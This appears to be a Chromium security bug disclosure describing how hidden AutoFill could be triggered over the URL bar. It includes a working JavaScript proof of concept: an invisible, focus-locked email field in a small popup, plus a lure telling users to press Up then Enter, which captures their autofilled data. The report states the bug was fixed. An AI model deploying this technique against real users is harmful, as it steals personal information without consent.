AutoFill is not be meant to be usable via keyboard shortcuts when its hidden.
But with a certain window size it would attempt to render over the url bar.
let w = window.open('', '', 'width=1,height=1');
w.resizeTo(250, 150);
w.eval(`
let input = document.createElement("input");
input.type = "email";
input.autocomplete = "email";
input.name = "email";
input.size = "1";
input.style.opacity = '0';
input.onkeypress = e => {
e.preventDefault();
}
window.onmousedown = e => {
// ignore mouse clicks
e.preventDefault();
}
input.onchange = e => {
alert(e.srcElement.value);
e.srcElement.value = "";
}
document.body.appendChild(input);
setInterval(() => {
input.focus({preventScroll: true});
}, 1000);
`);
let p = document.createElement('p');
p.innerText = 'Please press the Up arrow then Enter :)';
w.document.body.appendChild(p);
This was fixed in https://chromium-review.googlesource.com/c/chromium/src/+/3525299